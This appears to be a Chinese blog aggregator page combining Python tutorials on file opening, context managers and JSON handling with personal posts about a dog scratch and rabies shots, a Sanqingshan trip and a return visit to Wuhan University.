打开文件用的是open()方法,所以我们再继续讲讲这个方法。open() 方法用于打开一个文件,并返回文件对象,在对文件进行处理过程都需要使用到这个函数,如果该文件无法被打开,会抛出 OSError。

open(file, mode=‘r’, buffering=-1, encoding=None, errors=None, newline=None, closefd=True, opener=None)

open()方法的参数里file(文件)是必需的,其它参数最常用的是mode(模式)和encoding(编码)。
先说说encoding,一般来说,打开文件的编码方式以操作系统的默认编码为准,中文可能会出现乱码,需要加encoding=‘utf-8’。
In [63]: with open('test.txt','r') as f:
    ...:     for line in f.readlines():
    ...:         print(line.strip())
-----------------------
UnicodeDecodeError     Traceback (most recent call last)
<ipython-input-63-731a4f9cf707> in <module>()
      1 with open('test.txt','r') as f:
----> 2     for line in f.readlines():
      3         print(line.strip())
UnicodeDecodeError: 'gbk' codec can't decode byte 0xa4 in position 26: illegal multibyte sequence

In [65]: with open('test.txt','r',encoding='utf-8') as f:
    ...:     for line in f.readlines():
    ...:         print(line.strip())
爱猫猫
python is a cat.
再说mode,它指定文件打开的模式。

‘r’: 以只读模式打开(缺省模式)(必须保证文件存在)

‘w’:以只写模式打开。若文件存在,则清空文件,然后重新创建;若不存在,则新建文件。

‘a’:以追加模式打开。若文件存在,则会追加到文件的末尾;若文件不存在,则新建文件。

常见的mode组合

‘r’或’rt’:     默认模式,文本读模式

‘w’或’wt’:  以文本写模式打开(打开前文件会被清空)

‘rb’:          以二进制读模式打开

‘ab’:         以二进制追加模式打开

‘wb’:        以二进制写模式打开(打开前文件会被清空)

‘r+’:         以文本读写模式打开,默认写的指针开始指在文件开头, 因此会覆写文件

‘w+’:        以文本读写模式打开(打开前文件会被清空)

‘a+’:        以文本读写模式打开(写只能写在文件末尾)

‘rb+’:       以二进制读写模式打开

‘wb+’:     以二进制读写模式打开(打开前文件会被清空)

‘ab+’:      以二进制读写模式打开

喵喵,初看起来,模式很多,但是,它们只是相互组合罢了。建议记住最基本的w、r、a,遇到特殊场景,再翻看一下就好了。

从with语句到上下文管理器

基础部分讲完了,下面是进阶部分。知其然,更要知其所以然。
1、with语句是初学者必会常识
首先,要解释一下为啥前文直接就用了with语句。with语句是读写文件时的优雅写法,这已经默认是Python初学者必会的常识了。如果你还不会,先看看用和不用with语句的对比:
# 不用with语句的正确写法
try:
    f = open('test.txt','w')
    f.writelines(['python',' is',' a',' cat'])
finally:
    if f:
        f.close()

# 使用with语句的正确写法
with open('test.txt','w') as f:
    f.writelines(['python',' is',' a',' cat'])
因为文件对象会占用操作系统的资源,并且操作系统同一时间能打开的文件数量是有限的,所以open()方法之后一定要调用close()方法。另外,读写操作可能出现IO异常的情况,所以要加try…finally,保证无论如何,都会调用到close()方法。
这样写万无一失,但是实在繁琐,一不小心还可能漏写或者写错。而with语句会保证调用close(),只需一行代码,简直不要太优雅!所以,with语句是Python初学者必会技能。
2、什么是上下文管理器?
下面,重头戏来了,什么是上下文管理器(context manager)?

上下文管理器是这样一个对象:它定义程序运行时需要建立的上下文,处理程序的进入和退出,实现了上下文管理协议,即在对象中定义了 __enter__() 和 __exit__() 方法。 __enter__():进入运行时的上下文,返回运行时上下文相关的对象,with 语句中会将这个返回值绑定到目标对象。 __exit__(exception_type, exception_value, traceback):退出运行时的上下文,定义在块执行(或终止)之后上下文管理器应该做什么。它可以处理异常、清理现场或者处理 with 块中语句执行完成之后需要处理的动作。

注意 enter 和 exit 的前后有两个下划线,Python 中自带了很多类似的方法,它们是很神秘又很强大的存在,江湖人常常称其为“黑魔法”。例如,迭代器协议就实现了__iter__方法。
在Python的内置类型中,很多类型都是支持上下文管理协议的,例如 file、thread.LockType、threading.Lock 等等。上下文管理器无法独立使用,它们要与 with 相结合,with 语句可以在代码块运行前进入一个运行时上下文(执行__enter__方法),并在代码块结束后退出该上下文(执行__exit__方法)。
with 语句适用于对资源进行访问的场合,确保不管使用过程中是否发生异常都会执行必要的“清理”操作,释放资源,比如文件使用后自动关闭、线程中锁的自动获取和释放等。
3、自定义上下文管理器
除了Python的内置类型,任何人都可以定义自己的上下文管理器。下面是一个示例:
class OpenFile(object):
    def __init__(self,filename,mode):
        self.filename=filename
        self.mode=mode
    def __enter__(self):
        self.f=open(self.filename,self.mode)
        self.f.write("enter now\n")
        return self.f  #作为as说明符指定的变量的值
    def __exit__(self,type,value,tb):
        self.f.write("exit now")
        self.f.close()
        return False   #异常会被传递出上下文
with OpenFile('test.txt','w') as f:
    f.write('Hello World!\n')
最终写入文件的结果是:

enter now Hello World! exit now

上下文管理器必须同时提供 enter() 和 exit() 方法的定义,缺少任何一个都会导致 AttributeError。
上下文管理器在执行过程中可能会出现异常,exit() 的返回值会决定异常的处理方式:返回值等于 False,那么这个异常将被重新抛出到上层;返回值等于 True,那么这个异常就被忽略,继续执行后面的代码。exit() 有三个参数(exception_type, exception_value, traceback),即是异常的相关信息。
4、contextlib实现上下文管理器
上例中,自定义上下文管理器的写法还是挺繁琐的,而且只能用于类级别。为了更好地辅助上下文管理,Python 内置提供了 contextlib 模块,进而可以很方便地实现函数级别的上下文管理器。
该模块本质上是通过装饰器(decorators)和生成器(generators)来实现上下文管理器,可以直接作用于函数/对象,而不用去关心 enter() 和 exit() 方法的具体实现。
先把上面的例子改造一下,然后我们再对照着解释:
from contextlib import contextmanager

@contextmanager
def open_file(name):
    ff = open(name, 'w')
    ff.write("enter now\n")
    try:
        yield ff
    except RuntimeError:
        pass
    ff.write("exit now")
    ff.close()

with open_file('test.txt') as f:
    f.write('Hello World!\n')
contextmanager 是要使用的装饰器,yield 关键字将普通的函数变成了生成器。yield 的返回值(ff)等于上例__enter__()的返回值,也就是 as 语句的值(f),而 yield 前后的内容,分别是__enter__() 和 __exit__() 方法里的内容。
使用 contextlib,可以避免类定义、__enter__() 和 __exit__() 方法,但是需要我们捕捉可能的异常(例如,yield 只能返回一个值,否则会导致异常 RuntimeError),所以 try…except 语句不能忽略。

October 11, 2018 12:00 AM

犬只未经免疫,不得饲养

早上出门的时候,看到小区里拉起了横幅——“犬只未经免疫,不得饲养”。
小区物业的行动还是挺迅速的嘛。
大前天晚上,回家刚到楼下时,豌豆被一只调皮活跃的小狗抓了两道长长的爪痕。
当时我看豌豆没有流血,皮也没划破,所以还是挺镇定。现在才知道想起来害怕,如果那抓痕再大力点怎么办?如果那不是一只小狗,是一只大狗,把人咬了,或者绊倒了可怎么办?
现在想起当晚,那只狗毫无征兆跑过来,我停下来对着它,它就绕过我,到了豌豆那侧,往她脚上扑。一切发生的太快。
豌豆害怕又委屈,弯腰看不仔细,她直接坐了地上。我们开手机的手电筒,看来看去,没有流血,没有破皮。
我虽然一直在询问豌豆,在看她脚,但其实很无措。豌豆冲狗主人问,你的狗有没有打疫苗的?那男人说,只是小狗没事的。
现在想来,他没有正面回答,那就意味着小狗根本没有打过疫苗!
面对突发事件,我们经验太少。事后,给人描述那狗的样子、狗主人的样子,说的都很笼统。
豌豆的妈妈听我们讲完经过,很快就说那人可能是我们楼上某某室的,她坐电梯曾见过。在这种事件前面,豌豆妈妈是个让人放心的行动派,她认识小区物业主任,马上就打电话过去了。
她们才说了几句,物业主任根据“一个男人带着狗、可能在我们楼上”,就锁定了“嫌疑犯”。听到这,我们马上就放心一些了。
豌豆妈妈跟那主任说,要管管小区养狗的,这遛狗不牵绳子,万一是碰到谁家小孩,很容易就出大事。那主任一个劲的应“是的啊”,很上心给意见,还答应亲自找那狗主人说这事。(她确实去找了所怀疑的那户,但不过并不是他…)
我们到家后,反反复复观察抓痕好几次。豌豆不放心,跑去冲洗了三次。
家里灯光亮,看得更清楚。右腿抓痕有两处,左腿一处,都差不多巴掌长。确实没有破皮,摸上去也没有疼痛。等第二天,我们到医院看医生的时候,那抓痕已经淡得看不清了。
我对被狗抓和得狂犬病,没有清醒认识。不过豌豆他们,还有那物业主任都说不能大意,一定要去打疫苗。这好像是一道只有一个选项的选择题。那就去打吧。
我第一次知道,狂犬病疫苗要打5次。而且,不是每个医院都有条件去打。
前天,我跟豌豆去医院,把照片给医生看完,他就说这很明显了,要打疫苗的。于是我们打了疫苗。
当时没啥不良反应,昨天白天也好好的。
但是,昨天晚上,豌豆身上突然就痛起来。豌豆说那种痛是”刺痛“,痛得厉害。
今天,我们很不放心,又去了医院。医生说打完疫苗是可能有不良反应,说的时候有点专业人士看外行的感觉。他当然代表了专家,但是痛得睡不好觉、忧心忡忡的又不是他!
明天要去打第二针。痛也只能“观察”几天。
现在就是这种局面:豌豆被狗抓了,看起来无关紧要,但实在不放心,去打了疫苗,不良反应痛得难受,接下来还有4次疫苗要去打。
除了心怀乐观,按时再去打疫苗,我们好像没啥好过度担心的了。只愿一切顺利。
写到这里,最后想跟各位读者再多说几句:
1、走路注意防范,特别注意小区里横冲直撞的小宠物!
2、遇到意外,镇定不慌,留下人证物证!
3、了解一些狂犬病、打疫苗、不良反应的知识!
4、犬只未经免疫,不得饲养!还有,遛狗请牵好绳子!

October 11, 2018 12:00 AM

October 09, 2018

anji66

三清山游记

时光总如白驹过隙,转眼间七天的黄金周已经结束了。话说七天假期窝在家不出门感觉算是浪费了,于是乎假期打算出去走走,预计了三到四天的行程,候选群里渣渣大佬们的家乡,包括笛大佬老家湖南张家界,滑稽大佬的老家古城西安,橘总监的老家福建厦门,小王老师的老家江苏南京,牛逼初中生的老家江西上饶。最终两个原因促成我们选择了江西上饶三清山婺源这条线。一是路途比较近,与我们浙江接壤,翻过衢州就到,单程500公里左右,二是相对而言人不是爆棚。最终老婆大人拍板,去江西。


行前小酌

国庆高速免费,一年就这一个比较适合出门的黄金周,所以人多是必然的,为了防止堵车这种尴尬的事情,作为老死机加夜猫子双重优势,果断选择后半夜出门,凌晨到达目的地,这样能显著避开那些驾照新手以及横冲直撞的旅游大巴。1号这一天,我们选择窝在上海,本地逛逛,让开第一波堵车高峰。正好顾村公园搞了一个啤酒节的小活动,还能免个门票,索性去了离家不远的顾村呆了一天,啤酒节的表演没看进去,倒是觉得旁边的水上表演还是挺有意思的,可能我这种土鳖没有玩过这种项目所以才觉的好玩吧。游荡了一天,饭点临了,我们一行三对夫妻三个娃儿,一顿炭火蛙锅祭了五脏庙。一天下来最终的成果也就是给老婆同事夫妻拍了一些照片罢了,顺道收获了一幅疲惫的躯壳到家。

1.JPG

千里驱车

鉴于第一天太累,2号在家窝了一天,收拾打包行李,预计下午能打个瞌睡,晚上好赶路,结果杂事忙完也没睡成,上半夜又略为兴奋导致没睡成。时间拨到半夜11点,准时出发。上了嘉闵高架或许是过节了车子都涌出上海,空荡荡的高架路,轻快的音乐响起,后座的老婆孩子很快就睡着了。不紧不慢的途径嘉兴服务区、西湖服务区、建德服务区,话说这年龄确实大了,一路竟睡意肆起,每到一个服务区短则眯了一刻钟,长则睡了一个时辰。等到常山服务区,东方鱼肚白已然泛起。后座娘俩也跟着起来,洗洗漱漱。等阳光从清晨薄雾中洒了下来,我们也正式到了八省通衢的地界,下了高速,换了国道县道乡道盘山公路终于到达山脚,时间走到了上午八点半。比我原本预计凌晨六点到达晚了两个多小时,再次感叹了岁月不饶人。

2.jpg

警车伏笔

车到山脚,有交警指挥车辆沿旅游公路路边停靠,搁在平时是可以直接开到景区,如今假日高峰,只能停在山脚换乘转运大巴前往景区。停妥车,路边倒卖登山杖和帽子的商贩就围了过来,三句两句不需要也就打发了,根据交警的指示,步行300米有换乘点,看着大巴就在前面,也没多想就赶了过去,这下埋了个隐患,直接造成我们下山后,愉快的达成了一次乘坐警车的体验。


始于足下

旅游大巴七弯八绕的算是把我们带到了景区山脚,随着人流走到了售票处,排了很长队伍,买了两张票,还不错,可以移动支付。当然也可以不用排队,直接微信扫码付,不过微信自助购买后是刷身份证进去的,貌似我们这样两个人要买两次也挺麻烦的,索性就排队买了票。售票处顺便给了一个号码纸,用于索道叫号用的,看到一群人排队,没搞清楚规则自然也跟着傻傻的排队,等队伍很长了,哪晓得前方工作人员大喊没号的不要排队,有号的根据叫号依次过来,等我明白这一刻,我们已经过了一百多号了,匆匆挤到最前面,把号给了工作人员,换回一句来了这么晚啊,也就顺利的进到索道候车厅了。等坐上缆车,恐高症的我,全程手心冒汗,两腿打颤,挨到了索道山顶,原本以为索道直接给我们带到山顶了,我俩带着半大点的孩子心想也不是很累,结果这才是真正的山脚,最开始以为停车处是山脚,到了景区以为索道起点是山脚,等下了缆车才发现前面都错了。接下来可谓苦行苦修之旅了。所以有的时候人呐,太自以为是总是要吃点亏的。

3.JPG

退堂鼓响

既来之则安之,扛着孩子,爬吧,拾级而上,没走几段台阶就气喘吁吁了,看着匆匆上山的人们,各色的行头,有小步快跑的壮小伙,衣着靓丽的美少女,岁月留痕的夕阳红,当然也不乏我们这样带着娃儿的中年油腻大叔。健步如飞的,拄着登山杖的,手牵手蜜语甜言的,大包小包带着帐篷的,欢声笑语夹杂着孩子哭闹声的,人流从人挤人前脸贴后背到稀稀疏丈外三两人,距离是越拉越大,山是越爬越高。顺着人流,我们走的西海岸的观光道,在岔口,我们的目标是三清宫,地图上看挺近的,自以为我们走了大半,休息处的三个小伙子从阳光海岸那边转过来这边下山,他们说我们走了三分之一还不到,直接吓得我夫妻二人心生退意,毕竟扛着走路蹒跚的半大点孩子是个体力活,孩子还不像背在身上的负重。此刻,我这个主心骨对老婆说,半途而废不是我们的作风,一定要去见见这山上的三位神仙。


三清福地

这里不得不提一下这次的旅游地——三清山。作为道教圣地名山又是世界地质公园,三座主峰犹如道家三清列坐群山之巅,而起于两晋时代的三清山,在道教史上有着十分重要的地位,唐元两朝,中国道家文化发展极为鼎盛,三清山和江西龙虎山一并成了道家圣地。而此次我们要前往的三清宫就源于唐朝的三清观,在明代扩建成为三清宫。供奉着道家三清,玉清元始天尊、上清灵宝天尊、太清道德天尊。而我们此行爬山的目标就是见见这三位道家真神,朝拜真神的路注定艰苦的。

5.JPG

凉心开水

经过相当长的台阶跋涉,我们到了最后一个一段平缓栈道前的补给站,最开始我们预估错误,误认为索道是上到山顶的。所以水和干粮我们带的并不多,经过这一消耗,到这我们就物资紧缺了。时间也到了晌午时分,饥肠辘辘,背包里带着泡面,到了补给站一般景区都有开水供应。结果一口被回绝,开水没有,只有买我们的泡面才给泡,单独要开水,10元一杯,再问泡面25元一碗,其实已经有了心理准备,景区加高山,双重因素还是着实被这价格吓了一跳,足足10倍的价差。最后明着挨宰吃了个透心凉而已。吃完,继续前行,果然是一段修在悬崖峭壁上的平缓栈道,没有了台阶,缓步上升,孩子也从我二人怀抱中下来,跌跌撞撞的自顾自的走了起来。


路遇善人

一路苦累咬着牙也就置身山中了,我家娃儿,约莫是走走抱抱累了,加上小孩子的新陈代谢旺盛,招致山中蚊子叮咬,正在牙牙学语的年龄,一个劲的叫痒痒痒痒,于是就给她挠挠,业已寒露时节,不曾想山上还有蚊虫,我俩也忘了带上止痒驱蚊药膏之类的,而一位下山的游客爸爸,带着他十几岁的儿子,正好经过身边,听到娃儿叫痒痒,迅速从他儿子背包中拿出一罐止痒青草膏递给我们,让我们给孩子擦擦,效果还真是立竿见影,作为不识货的我,还以为是紫草膏,还是老婆大人识货,一眼认出这进口高级产品,在千声万谢后告别那对父子后,我们接着又朝山顶走去。自从有了孩子,遇到需要帮助的时机就多了,也是如此才发现芸芸世界还是好人更多。

6.JPG

山间呐喊

正如前述,孩子正在牙牙学语阶段,悬崖栈道对着山间谷底,说话间似乎都能听见回声,便在孩子面前对着山谷喊了一嗓子啊声,孩子迅速跟进,学着喊叫。稚嫩的嗓音听的游客是一阵欢笑,我父女俩到是乐此不彼。老婆抱怨了一句,一路上就你这个爸爸在干叫,不等话落,女儿又接上了,路人神补刀,还有你女儿。又是一阵笑声。喊着或许喊动了对面山崖的游客,有人喊,天王盖地虎,正常思路我跟了一句宝塔镇河妖。哪知跟这帮孩子有好大的代沟,对面给补了一句,小鸡炖蘑菇,尴尬不已。

7.JPG

三清道观

到了山顶,又是一顿下坡,走到山的另外一面,半山腰,终于到了三清福地,三清宫就建在此处,山门见证了岁月长。山门前有一个略大的广场,好多带着帐篷的在此休整,他们大都打算在山上过一夜后再下山的。景区很大,其实一天是逛不完了,我们上午9点进山,下山是晚上6点,我们也只是逛了一半的景区。所以不想太累,又能欣赏美景,夜宿山上也是不错的选择。在到三清门前,孩子在我肩膀睡着了,我只能扛着她,进了山门,进了道观,自睹三清,也不曾叩拜敬香,一是抱着孩子不便,二是道教礼数不懂,我二人更多的算是半个佛教徒,所以本着不知者不罪,也就匆匆看了看三清的真容,便退了出来。

8.JPG

下山之路

稍事休整,已近下午三点时分,看了一眼地图,寻道阳光海岸这条路线就下山去了。有道是上山容易下山难,经过五个多小时的上山路,下山,小腿肚子直打颤,心中叫苦不迭。太阳西斜,凉意袭来,怕孩子着凉,白天气温高,也没带保暖衣物,山中美景也顾自不暇,只想着能在天黑之前下山。一路仍是形色人等,有搀着健硕老人的,有因路线之争的面红耳赤的,有恐高扶着栈道崖壁不敢走吊桥的,也有我们这样抱着背着熟睡娃儿的。经过一处临崖玻璃栈道休整后,我让她俩原地休息,我拍几张照片,老婆怕时间太晚,就跟我说她俩在前面先走,而我却没听到这句话,造成我拍完照片,没见到娘俩,可急坏了我,赶紧快步追到前面,且看到山下相当长的栈道上也没她俩身影,又着急忙慌的往回走,怕是错开了。结果回头再找一遍还是没见到,确信老婆孩子肯定在前面,等再次往前赶的时候,两条腿不听使唤了,下一级台阶,膝盖腿肚子酸疼酸疼。好在她俩在前面等我。在此之前我夫妻二人轮流抱孩子的,此之后,全靠老婆一人抱孩子了,不得不承认,在爬山的时候,老婆的脚力确实比我厉害的太多。我这一身肥膘算是白长了。

9.JPG

队伍绵长

路经一线天等景观,终于下到山脚,傍晚时分,索道处都是下山的人,等着排队做缆车,一眼不见尽头的队伍,如潮的涌动。维持秩序的特警说我真是佩服你们这些带着孩子上山的,别人拄着登山杖一趟下来都累的半死,我们也只好谦虚的说还好还好,还是有不少带孩子上山的。聊的起劲了,特警们说起他们见过最狠的是怀孕六七个月的还要上山的。一波一波的梯次放人后,排了一个多小时的队,终于我们也在天刚刚撒黑的时候到了山脚售票处,又怕换乘大巴结束,马不停蹄的跑到换乘点,还是绵长的队伍,还是焦急的等待。我们所乘坐的2号线一直没有车来,经过调拨的1号线大巴最后把我们带下了山。


警车奇遇

坐上换乘大巴,心安不及一刻,一团阴影袭上心来,司机说提前跟我说你们要下车的位置,因为每个人停车位置都不尽相同。而我,根本不知道我把车停在哪里,原以为这班车会在我们早上上车的地方停下。外面又是黑不隆咚,司机原本准备掉头的地方因车上乘客吵嚷说还有好几公里,最后把我们所有人都带到了最外面的终点站。而这个前不着村后不着店的地方,离我停车的地方还不知道是几公里,我也不知道我们是坐过了还是没到,下车就彻底蒙圈了。无奈打了110,经过110指令调拨,当地三清山交警大队一位交警与我们联系,然后实在没好气的跟他一顿抱怨加训斥,最后那边说另外会安排同事跟我联系,过了几分钟另一位交警联系上我们,说他正在下班的路上,待会儿过来,让我们原地等待。不多久,见一辆警灯闪烁的警车从前方过来,让我们上车,大致说明了一下我们早上的停车时间,交警判断我们应该是坐过了,于是掉头沿路边寻找,路上聊起说你们停车的时候没有定位啊,我只好说早上停车的时候就在换乘点附近,所以压根也没想到这出,大概找了几公里,终于路边找到我的车,临下车交警听说我们要转道去婺源,交代说晚上天黑山路注意安全,我们道谢后下了车。这里得再次感谢三清山交警大队的王翰飞警官,要不是他下班了还来接我们,我们怕是得在山上找车找几小时了。


善恶有别

转道去婺源的路上,已经晚上快八点了,我们之前在景区胡乱吃了些,可是孩子晚上还有一顿奶粉小家伙是必喝的,娃儿也是饿的前胸贴后背了,老婆不忍心说我去路边人家讨点开水泡奶粉。这大山里一是人家少,二是这大半夜的去敲门,我是觉的不太方便,我就说等等,过了一会儿我看到有客栈,路边停车,我说这里去要开水吧,对方店老板以为我们是网上订他们家客栈的游客,走到跟前道明缘由,二话不说帮我们倒了开水,我们说给她钱,人家不收,我们原本去婺源住宿,索性就问了下房间情况,被告知不好意思被定完了,让我们前面去看看还有很多酒店客栈。辞别后继续前行,到了另一面的山脚集镇,自己也饿了,就找了个可以停车的饭店门口准备饱餐一顿。点了几个菜,贵就算了,可以理解,关键是不给发票,走哪都要发票的我此刻顿时受了刺激,没好气的一转话锋:那我打税务部门电话了你不给我发票的话,哪知那老板娘也是社会经验丰富,你打吧,爱打不打,我们只有收据。作罢,怏怏而走,一想回头我找主管部门投诉不得留点证据啊,就转头对那老板娘说收据就收据吧,对方也是一脸不情愿的开了张收据,这特么连章也没有,老板娘你好歹给我敲个章啊,更加一脸的不情愿。临出门我又拍了下店名,打算回来投诉呢,这不,这几天忙着还没来得及。


计划有变

在饭店与其他客人交流得知,他一早在婺源只有十几分钟的车程堵车两个多小时,直接把我老婆吓的实在不想去了,再说秋天的婺源风景没有春景那般的美,一天下来浑身酸痛,老婆说我们回去吧,太累了,再三跟她确认想法后,打道回府。


by 西枫里 at October 09, 2018 09:20 PM

October 06, 2018

pythoncat

毕业五年后回武大,母校我有些话想对你说

疲累的一天过去了,今晚或许可以睡个好觉。趁还没睡,母校,请你听我说说话吧。昨晚失眠,好像跟你说了好多话,却又好似只开了个头。恐怕还是得写下来才说得明白。
毕业后,我留汉一年多,算起来,真正离开你的日子是四年。今年,最有意念要回来看看你。
说是要看你,其实我骗不了你,你知道,我是想看看我自己。
也许真应了古人说的”三十而立”,三十是男人必须要过的一道坎。想不想立,能不能立,都挡不住这重考验的来临。
母校,你可能以为我算早了年龄,但是没有。我母亲告诉过我,当年入户口的时候,他们故意把我的年龄报小了一岁。不怕你笑话,在我们那里的农村,这种不实报并不罕见,至于原因我却忘了。
我长期自欺欺人地想,我是八零尾,所以有些晚熟、未熟的地方,都能合理解释。
现在看来,该响的铃声还是会如期响起。而且,响铃声可能还要更嘹亮些。
最近,失眠的次数多了,我审视自己的角度也多了。比如睡姿。刚入学那会,我是蜷缩着睡,后来,你应该看见了,我逐渐发展成趴着睡。
每次失眠,这种睡姿就成了一种痛苦折磨。
手脚酸麻,心脏压抑,呼吸气堵,辗转反侧,然后再来一个周期。真不敢相信,以前我怎么会那般睡得安稳。
这大概就是一种启示了吧,舒适区该换了。对吧,母校?
这次回来,看见了很多新气象。万林艺术博物馆、卓尔体育馆、当代楼,以及信息学部的图书馆,这些新建筑拔地而起,异常夺目。百年老校换上了年轻的面孔。
最不可思议的是,鲲鹏广场上的樱花树竟然散开着几朵花,挑战了我对于季节的认知。秋天的樱花,偏让我们见了,这是不是母校您要我来参化的谜题啊?
樱花虽然是异族之花,但现在外人提及武大,首先联想到的就是它。向他人介绍武大,樱花成了首选,通俗而有效。
校园的山水养成樱花,樱花的名声也反向参与塑造学校的气质。
我其实挺羡慕这些樱花学长/学姐,他们的根就一直扎在这片土地,学业结束了也不用离开。一年又一年,读完了本科,又读完了研究生,还读完了博士,现在是留校任教了。
还有那满园的桂花,香浓纯郁的不像样子,只懂得引人沉醉,完全不管象牙塔外的纷纷扰扰。可羡啊。
不知不觉,我工作五年了。母校啊,时间在初回首时,似乎都显得极短暂。记忆是对时间的压缩,而话语又是对记忆的压缩,所以如今跟你说话,就像刚被外来游客打断,然后又重新接上话一样。
可是,翻查记忆,每年发生的事拼接成串,又证明着这五年的真实。
五年来,校园里的法国梧桐树更高了,树干又壮了一圈,再相见,我有些胆怯。因为我就像一棵枯瘦的梅树,还只是当年的样子。
最近,某档节目出了一道题目,说“毕业后混得normal,要不要去同学会”。normal的我自问能带上自尊过去,但对我来说,真正的问题是,为何我要是normal的那个呢?
母校啊,或许你会宽容地说,“孩子,你并不normal”。我信,因为很多年前,也有人这么说过。
我有时候也这么对自己说。但每次拿来说服自己的理由都是旧的,如果它们每次都管用,那跟《盗梦空间》里旋转不会停的陀螺有啥区别?
母校啊,有时候我会幻想,如果让我变回刚入校门的时候,我要做这做那,要这个时候做这件事,要那个时候做那件事,要这样做这件事,要那样做那件事。
若真有这样的机会,或许是会有一些不同。然而,一生的变数太多了,而欲望又是那么难以填满,幻想改变过去,不如实实在在地过好现在。
这次回校,我想再看看这里的山水花木,看看年久的老建筑和弯弯曲曲的道路,闻闻桂花香,吹吹珞珈风,离开道路走进草地里。
心愿完成了。也到离别的时候了。
母校,下次的归期,不知要到何时。
最后,想跟你说的是,我想明白了一件事。我做不了高大的法国梧桐,但是苦梅花也有自己开花的时节,就算是错过了季节,也有那几树樱花,终于等到这秋高气爽的时候会绽放。

October 06, 2018 12:00 AM

学习 Python 操作 JSON,网络数据交换不用愁

今天带大家学学 Python 中操纵 JSON 的知识。学完本文,你可以学到如下内容:
1、JSON 是什么?
2、JSON 与 XML 的优劣差异?
3、将 Python 对象编码成 JSON 字符串
4、将已编码的 JSON 字符串解码为 Python 对象
5、解决 JSON 中文乱码问题

JSON 是什么?

JSON 的全称是 JavaScript Object Notation,是一种轻量级的数据交换格式。最初,JSON 只是 JavaScript 的子集,但由于其简单易用而迅速走红。
现今大部分编程语言都支持对 JSON 的解析与生成,而近些年异军突起的 NoSQL 数据库也多参照 JSON 来设计数据存储格式,例如 Mongodb 的BSON(Binary JSON)。
JSON 有以下六种数据类型:number、boolean、string、null、array、object。前三种很好理解,第四个 null 对应 Python 的 None,最后两种,对应 Python 的列表和字典。
{
  "name": "小明",
  "age": 14,
  "gender": true,
  "grade": null,
  "skills": [
    "JavaScript",
    "Java",
    "Python"
  ]
}

JSON 与XML 的优劣差异?

在 JSON 出现之前,人们用 XML 在网络上交换数据,在 JSON 出现后,它基本上就取代了 XML 的位置。两者的共同之处显而易见,它们都是结构化的语言,都可以用于网络数据的交换。
两者最大的差异在于它们的“出身”不同,也就是它们被创造的目的不同。
XML 是 W3C(万维网联盟)发布的可扩展标记语言(Extensible Markup Language),最初设计来弥补 HTML 的不足,以强大的扩展性满足网络信息发布的需要,与它“同级”的有:XHTML\CSS\ECMAScript等。
它包含 DTD、XSD、XPath、XSL 等一大堆复杂的规范,在数据存储、扩展及高级检索等方面都有作用。后来被用于网络数据交换,颇有点大材小用的意思,虽然可胜任,却也有点复杂和冗余。
而 JSON 是 ECMAScript 标准的子集,设计之初就是为了克服 XML 在数据交换上的劣势,所以一方面,它像 XML 一样具有简洁而清晰的层次结构,另一方面,它比 XML 小巧精致,更加适用于网络数据的传输。
JSON 也不是没有缺点,当结构层级很多的时候,它会让人陷入繁琐复杂的数据节点查找中,在可读性上要比 XML 差。

将 Python 对象编码成 JSON 字符串

将 Python 的对象转化为字符串,这个过程也称为序列化,与之相对,将 JSON 字符串转化为 Python 对象,这个过程被称为反序列化。
序列化格式如下,json.dumps() 把 Python 对象序列化,json.dump() 先序列化,然后将内容存入文件:
  • json.dumps(obj, *, skipkeys=False, ensure_ascii=True, check_circular=True, allow_nan=True, cls=None, indent=None, separators=None, default=None, sort_keys=False, **kw)
  • json.dump(obj, fp, *, skipkeys=False, ensure_ascii=True, check_circular=True, allow_nan=True, cls=None, indent=None, separators=None, default=None, sort_keys=False, **kw)
In [1]: import json
In [2]: d = dict(name='Tom', age='8', score=88)
In [3]: json.dumps(d)
Out[3]: '{"name": "Tom", "age": "8", "score": 88}'
In [4]: with open('test.json', 'w') as f:
   ...:     json.dump(d, f)
用的比较多的参数有:
  • ensure_ascii=True 设置是否编码为ASCII,默认是,若False,则使用原编码格式
  • indent=None 设置打印时缩进,默认不缩进
  • separators=None 设置分隔符,取值是(item_separator, dict_separator)元组,默认为(‘,’,’:’),这表示keys之间用“,”隔开,而key和value之间用“:”隔开
  • sort_keys=False 设置按key值排序,默认不排序
In [15]: d = dict(name='Python猫', age='8', score=88)

In [16]: json.dumps(d)
Out[16]: '{"name": "Python\\u732b", "age": "8", "score": 88}'

In [17]: json.dumps(d, ensure_ascii=False, indent=4, sort_keys=True)
Out[17]: '{\n    "age": "8",\n    "name": "Python猫",\n    "score": 88\n}'

In [18]: print(json.dumps(d, ensure_ascii=False, indent=4, sort_keys=True))
{
    "age": "8",
    "name": "Python猫",
    "score": 88
}

将已编码的 JSON 字符串解码为 Python 对象

反序列化格式如下,json.loads() 从内存中读取内容解析,json.load() 从文件中读取内容解析:
  • json.loads(s, *, encoding=None, cls=None, object_hook=None, parse_float=None, parse_int=None, parse_constant=None, object_pairs_hook=None, **kw)
  • json.load(fp, *, cls=None, object_hook=None, parse_float=None, parse_int=None, parse_constant=None, object_pairs_hook=None, **kw)
In [1]: import json
In [2]: d = dict(name='Tom', age='8', score=88)
In [3]: tom_json = json.dumps(d)
In [4]: json.loads(tom_json)
Out[4]: {'age': '8', 'name': 'Tom', 'score': 88}
In [5]: with open('test.json', 'r') as f:
   ...:     print(json.load(f))
{'name': 'Tom', 'age': '8', 'score': 88}
json.loads() 比 json.load() 多了一个 encoding 参数,可以将传入的字符串重新编码。

解决中文乱码问题

序列化的 ensure_ascii 参数与反序列化的 encoding 相对应,都是处理字符编码,一旦处理不好,就会导致中文乱码问题。
Python2 的字符编码乱七八糟,也广被人诟病,如果不幸遇到 Python2 项目,可参照如下例子解决。
字符串在 Python2 内部的表示是 unicode 编码。因此,在做编码转换时,需要以 unicode 作为中间编码,即先将其他编码的字符串解码(decode)成 unicode,再从 unicode 编码(encode)成另一种编码。
# -*- coding: utf-8 -*-
m = {'a' : '你好'}

print m
=>{'a': '\xe4\xbd\xa0\xe5\xa5\xbd'}

print json.dumps(m)
=>{"a": "\u4f60\u597d"}

print json.dumps(m,ensure_ascii=False)
=>{"a": "浣犲ソ"}

print json.dumps(m,ensure_ascii=False).decode('utf8').encode('gb2312')
=>{"a": "你好"}

Python3 的默认编码格式是 utf-8,以上例子,只需要ensure_ascii=False,就能解决。

October 06, 2018 12:00 AM

October 02, 2018

pythoncat

超强汇总:学习 Python 列表,只需这篇文章就够了

